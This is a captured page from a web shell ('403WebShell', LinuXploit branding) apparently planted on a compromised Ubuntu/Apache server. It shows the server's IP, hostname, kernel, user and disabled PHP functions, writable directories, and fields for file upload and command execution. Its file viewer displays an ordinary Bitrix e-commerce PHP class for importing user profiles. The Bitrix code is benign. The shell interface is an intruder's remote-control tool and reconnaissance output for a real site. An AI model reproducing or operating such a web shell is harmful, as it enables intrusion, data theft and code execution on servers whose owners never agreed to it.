%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.16.212.27
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/lib/exchange/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/lib/exchange/profileimport.php
<?php
namespace Bitrix\Sale\Exchange;

use Bitrix\Main;
use Bitrix\Sale;
use Bitrix\Sale\Exchange;
use Bitrix\Sale\Exchange\Entity\UserImportBase;

/**
 * Class ProfileImport
 * @package Bitrix\Sale\Exchange
 * @internal
 * @deprecated
 */
class ProfileImport extends UserImportBase
{

    /**
     * ProfileImport constructor.
     */
    public function __construct()
    {
        $this->fields = new Sale\Internals\Fields();
    }

    /**
     * @return int
     */
    public function getOwnerTypeId()
    {
        return EntityType::PROFILE;
    }

	/**
	 * @param array $fields
	 * @return Sale\Result
	 * @throws Main\ArgumentException
	 */
    public function load(array $fields)
    {
        $result = new Sale\Result();

    	$r = $this->checkFields($fields);
        if(!$r->isSuccess())
        {
            throw new Main\ArgumentException('XML_ID is not defined');
        }

        $profileFields = $this->initFieldsProfile($fields, $arErrors);

        if(count($arErrors)>0)
		{
			foreach($arErrors as $error)
			{
				$result->addError(new  Main\Error(str_replace('<br>','', $error['TEXT'])));
			}
		}

		if(count($profileFields)>0)
		{
			$profile = new static();

			$profile->setFields($profileFields);

			$this->setEntity($profile);
		}

        return $result;
    }

    /**
     * @return null|string
     */
    public function getPersonalTypeId()
    {
        return $this->getField('PERSON_TYPE_ID');
    }

    /**
     * @return null|string
     */
    public function getUserId()
    {
        return $this->getField('USER_ID');
    }

    /**
     * @return int|null
     */
    public function getId()
    {
        /** @var static $profile */
        $profile = $this->getEntity();
        return $profile->getField('USER_PROFILE_ID');
    }

    /**
     * @return int|null
     */
    public function profileGetId()
    {
        return $this->getField('USER_PROFILE_ID');
    }

    /**
     * @return bool
     */
	public function isImportable()
    {
        return $this->settings->isImportableFor($this->getOwnerTypeId());
    }

    /**
     * @param array $params
     * @return Sale\Result
     */
    public function add(array $params)
    {
        $result = new Sale\Result();

        /** @var static $profile */
        $profile = $this->getEntity();

        $fields = $params["TRAITS"];
        $property = $params["ORDER_PROP"];

        $propertyOrders = static::getPropertyOrdersByPersonalTypeId($profile->getPersonalTypeId());

        if(is_array($propertyOrders))
        {
            foreach($propertyOrders as $filedsProperty)
            {
                $propertyId = $filedsProperty["ID"];
                if(array_key_exists($propertyId, $property))
                {
                    $propertyByConfigValue = $property[$propertyId];
                    if($profile->profileGetId()<=0)
                    {
                        if(!empty($propertyByConfigValue))
                        {
                            $profileId = \CSaleOrderUserProps::Add(array(
                                "NAME" => $fields["AGENT_NAME"],
                                "USER_ID" => $profile->getUserId(),
                                "PERSON_TYPE_ID" => $profile->getPersonalTypeId(),
                                "XML_ID" => $fields["XML_ID"],
                                "VERSION_1C" => $fields["VERSION_1C"]
                            ));

                            $profile->setField("USER_PROFILE_ID", $profileId);
                        }
                    }

                    \CSaleOrderUserPropsValue::Add(array(
                        "USER_PROPS_ID" => $profile->profileGetId(),
                        "ORDER_PROPS_ID" => $propertyId,
                        "NAME" => $filedsProperty["NAME"],
                        "VALUE" => $propertyByConfigValue
                    ));
                }
            }
        }

        return $result;
    }

    /**
     * @param array $params
     * @return Sale\Result
     */
    public function update(array $params)
    {
        $result = new Sale\Result();

        /** @var static $profile */
        $profile = $this->getEntity();

        $criterion = $this->getCurrentCriterion($profile);

        $fields = $params["TRAITS"];
        $property = $params["ORDER_PROP"];

        if($criterion->equals($fields))
        {
            $fieldsProfileUpdate = array(
                "VERSION_1C" => $fields["VERSION_1C"],
                "NAME" => $fields["AGENT_NAME"],
                "USER_ID" => $profile->getUserId()
            );

            \CSaleOrderUserProps::Update($profile->profileGetId(), $fieldsProfileUpdate);


            $profileFields = static::getFieldsUserProfile($profile->profileGetId());
            foreach($profileFields as $fieldsProfile)
            {
                $fieldsProfileByProperty[$fieldsProfile["ORDER_PROPS_ID"]] = array("ID" => $fieldsProfile["ID"], "VALUE" => $fieldsProfile["VALUE"]);
            }

            $propertyOrders = static::getPropertyOrdersByPersonalTypeId($profile->getPersonalTypeId());
            foreach($propertyOrders as $filedsProperty)
            {
                $propertyId = $filedsProperty["ID"];
                if(array_key_exists($propertyId, $property))
                {
                    $propertyByConfigValue = $property[$propertyId];
                    if(!empty($propertyByConfigValue))
                    {
                        $fields = array(
                            "USER_PROPS_ID" => $profile->getField("USER_PROFILE_ID"),
                            "ORDER_PROPS_ID" => $propertyId,
                            "NAME" => $filedsProperty["NAME"],
                            "VALUE" => $propertyByConfigValue
                        );

                        if(empty($fieldsProfileByProperty[$propertyId]))
                        {
                            \CSaleOrderUserPropsValue::Add($fields);
                        }
                        elseif($fieldsProfileByProperty[$propertyId]["VALUE"] != $propertyByConfigValue)
                        {
                            \CSaleOrderUserPropsValue::Update($fieldsProfileByProperty[$propertyId]["ID"], $fields);
                        }
                    }
                }
            }
        }
        return $result;
    }

    /**
     * Deletes row in entity table by primary key
     * @param array|null $params
     * @return Sale\Result
     */
    public function delete(array $params = null)
    {
        return new Sale\Result();
    }

    /**
     * @param array $fields
     * @return Sale\Result
     */
    protected function checkFields(array $fields)
    {
        $result = new Sale\Result();

        if(empty($fields['XML_ID']))
        {
            $result->addError(new Main\Error('XML_ID is not defined',''));
        }

        return $result;
    }

    /**
     * @param array $fields
     * @return array|bool|false|mixed|null
     */
    public static function getUserProfile(array $fields)
    {
        $result = array();

        $r = \CSaleOrderUserProps::GetList(array(),
            array("XML_ID" => $fields["XML_ID"]),
            false,
            false,
            array("ID", "NAME", "USER_ID", "PERSON_TYPE_ID", "XML_ID", "VERSION_1C")
        );
        if ($ar = $r->Fetch())
            $result = $ar;

        return $result;
    }

    /**
     * @param $profileId
     * @return array|bool
     */
    public static function getFieldsUserProfile($profileId)
    {
        $result = array();

        if(intval($profileId) <= 0)
            return false;

        $r = \CSaleOrderUserPropsValue::GetList(array(), array("USER_PROPS_ID" => $profileId));
        while ($ar = $r->Fetch())
        {
            //$result[$ar["ORDER_PROPS_ID"]] = $ar["VALUE"];
            $result[] = $ar;
        }

        return $result;
    }

    /**
     * @param array $fields
     * @return mixed
     */
    public function initFieldsProfile(array $fields, &$arErrors)
    {
        static $profiles = null;

        if($profiles[$fields['XML_ID']] === null)
        {
			$result = array();
        	$profile = static::getUserProfile(array('XML_ID'=>$fields['XML_ID']));

            if(!empty($profile))
            {
                $result['USER_ID'] = $profile['USER_ID'];
                $result['PERSON_TYPE_ID'] = $profile['PERSON_TYPE_ID'];

                $result['USER_PROFILE_ID'] = $profile['ID'];
                $result['USER_PROFILE_VERSION'] = $profile['VERSION_1C'];

                $profileFields = static::getFieldsUserProfile($profile['ID']);
                if(!empty($profileFields))
                {
                    foreach($profileFields as $profileField)
                    {
                        $result['USER_PROPS'][$profileField["ORDER_PROPS_ID"]] = $profileField["VALUE"];
                    }
                }
            }
            elseif($this->isImportable())
            {
                $result['PERSON_TYPE_ID'] = $this->resolvePersonTypeId($fields);

                $user = static::getUserByCode($fields['XML_ID']);
                if(!empty($user))
                    $result['USER_ID'] = $user['ID'];
                else
                    $result['USER_ID'] = $this->registerUser($fields, $arErrors);

                $result['USER_PROFILE_ID'] = null;
                $result['USER_PROFILE_VERSION'] = null;
                $result['USER_PROPS'] = null;
            }

            if(count($arErrors)>0)
            	return $result;
            else
            	$profiles[$fields['XML_ID']] = $result;
        }

        return $profiles[$fields['XML_ID']];
    }

    /**
     * @param $code
     * @return array
	 * @deprecated
     */
    public static function getUserByCode($code)
    {
        return Exchange\Entity\UserProfileImportLoader::getUserByCode($code);
    }

    /**
     * @return string
     */
    public static function getFieldExternalId()
    {
        return 'XML_ID';
    }

    /**
     * @param array $fields
     */
    public function refreshData(array $fields)
    {
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit